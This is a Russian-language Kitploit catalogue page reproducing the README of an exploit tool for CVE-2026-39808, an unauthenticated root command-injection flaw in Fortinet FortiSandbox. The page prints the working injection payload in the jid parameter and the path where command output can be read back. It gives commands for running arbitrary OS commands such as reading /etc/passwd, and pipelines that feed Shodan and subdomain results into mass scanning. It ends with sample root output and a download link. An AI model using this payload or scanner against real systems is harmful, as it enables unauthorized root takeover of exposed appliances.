Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
FortiSandbox-RCE-Exploit-CVE-2026-39808 — Неаутентифицированный сканер RCE для FortiSandbox CVE-2026-39808 с проверкой на основе canary, выполнением команд и интеграцией в конвейер для массового сканирования. | Kitploit
Инструменты/GitHubGitHub/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и Управление
GitHubynsmroztas/fortisandbox-rce-exploit-cve-2026-39808

FortiSandbox-RCE-Exploit-CVE-2026-39808

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Неаутентифицированный сканер RCE для FortiSandbox CVE-2026-39808 с проверкой на основе canary, выполнением команд и интеграцией в конвейер для массового сканирования.

Репозиторий
269155 месяцев назадПроверено Kitploit

FortiSandbox RCE Scanner — CVE-2026-39808

CVE-2026-39808 FortiSandbox RCE

CVE-2026-39808 CVSS 9.8 Python 3.7+ No dependencies MIT License

Неаутентифицированная инъекция OS-команд от имени root в Fortinet FortiSandbox

Уязвимость • Установка • Использование • Принцип работы • Конвейер • Shodan Dorks • Отказ от ответственности


Уязвимость

CVE-2026-39808 — критическая неаутентифицированная уязвимость инъекции OS-команд в Fortinet FortiSandbox. Конечная точка API /fortisandbox/job-detail/tracer-behavior не выполняет санитизацию параметра jid, что позволяет атакующему внедрять произвольные OS-команды, выполняемые от имени root — без какой-либо аутентификации.

ДетальЗначение
CVE IDCVE-2026-39808
CVSS Score9.8 (Critical)
Вектор атакиСеть
АутентификацияНе требуется
ПривилегииRoot
Затронутые версииFortiSandbox < 4.4.9
Исправлено в4.4.9 и выше
КонсультацияFG-IR-25-325

Первопричина

Параметр jid в конечной точке tracer-behavior передаётся напрямую в системную команду без санитизации. Используя символы конвейера (|), атакующий может выйти за пределы предполагаемого контекста команды и выполнить произвольные команды:

GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

Вывод записывается в /web/ng/out.txt, который доступен по адресу /ng/out.txt на веб-сервере — что обеспечивает удобный механизм чтения результатов для слепой инъекции команд.


Установка

Ноль зависимостей. Только стандартная библиотека Python 3.7+.

git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

Использование

Базовое сканирование

# Проверить, уязвима ли цель (используется обнаружение на основе канареечной строки)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

Выполнение команды

# Выполнить конкретную команду на цели
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

Только проверка (без выполнения команд)

# Только проверить уязвимость, не выполнять --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

С Burp Proxy

python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

JSON-отчёт

python3 fortisandbox_rce.py -u https://target.com -o report.json

Режим конвейера (массовое сканирование)

# Из списка URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → сканер
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → сканер
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

Все параметры

usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           Целевой URL
  --stdin                 Читать URL из stdin (режим конвейера)
  --cmd CMD               OS-команда для выполнения (по умолчанию: id)
  --verify-only           Только проверить уязвимость, не выполнять --cmd
  --proxy PROXY           HTTP-прокси (например, http://127.0.0.1:8080)
  --timeout TIMEOUT       HTTP-таймаут в секундах (по умолчанию: 15)
  --rate-limit RATE_LIMIT Задержка между целями в мс (по умолчанию: 0)
  -o, --output FILE       Файл JSON-отчёта
  --no-banner             Подавить баннер

Принцип работы

Сканер использует 5-этапный процесс проверки со строгим предотвращением ложных срабатываний:

Шаг 1  →  Обнаружение FortiSandbox (отпечаток по заголовку/заголовкам)
Шаг 2  →  Проверка существования уязвимой конечной точки
Шаг 3  →  Внедрение уникальной канареечной строки через инъекцию команд
Шаг 4  →  Чтение /ng/out.txt и проверка канареечной строки (строгая валидация обычного текста)
Шаг 5  →  Выполнение пользовательской команды + очистка

Предотвращение ложных срабатываний

Сканер реализует несколько уровней валидации для устранения ложных срабатываний:

  • Обнаружение HTML — Если выходной URL возвращает HTML-страницу (catch-all Angular SPA), это помечается как ложное срабатывание
  • Проверка Content-Type — Вывод команды не должен быть text/html
  • Изоляция канареечной строки — Канареечная строка должна появляться в чистом обычном тексте, а не внутри HTML-тегов
  • Регулярное выражение вывода id — Строгое сопоставление шаблона uid=\d+(\w+) с проверкой размера (<1000 байт)
  • Нормализация базового URL — Автоматическое удаление суффикса /ng для предотвращения проблем с двойным путём

Пример вывода

Уязвимая цель

  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Неаутентифицированная инъекция команд (root)          ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Цель: https://fortisandbox.example.com                   │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox обнаружен!
  ▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
  ▸ Статус конечной точки: 200 | Content-Type: text/html
  ▸ Внедрение канареечной строки: mitsec_a8k3m2x1
  ▸ Чтение вывода: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 УЯЗВИМ — CVE-2026-39808 ПОДТВЕРЖДЁН!
   CRITICAL  Цель: https://fortisandbox.example.com
  ✓ Канареечная строка 'mitsec_a8k3m2x1' подтверждена в выводе (чистый обычный текст)

  ──────────────────────────────────────────────────────────
    Вывод команды: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Файл вывода очищен

Не уязвимая

  ┌──────────────────────────────────────────────────────────┐
  │ Цель: https://patched.example.com                        │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox обнаружен!
  ▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
  ✗ Конечная точка вернула 404 — не уязвима или исправлена
Скачать инструмент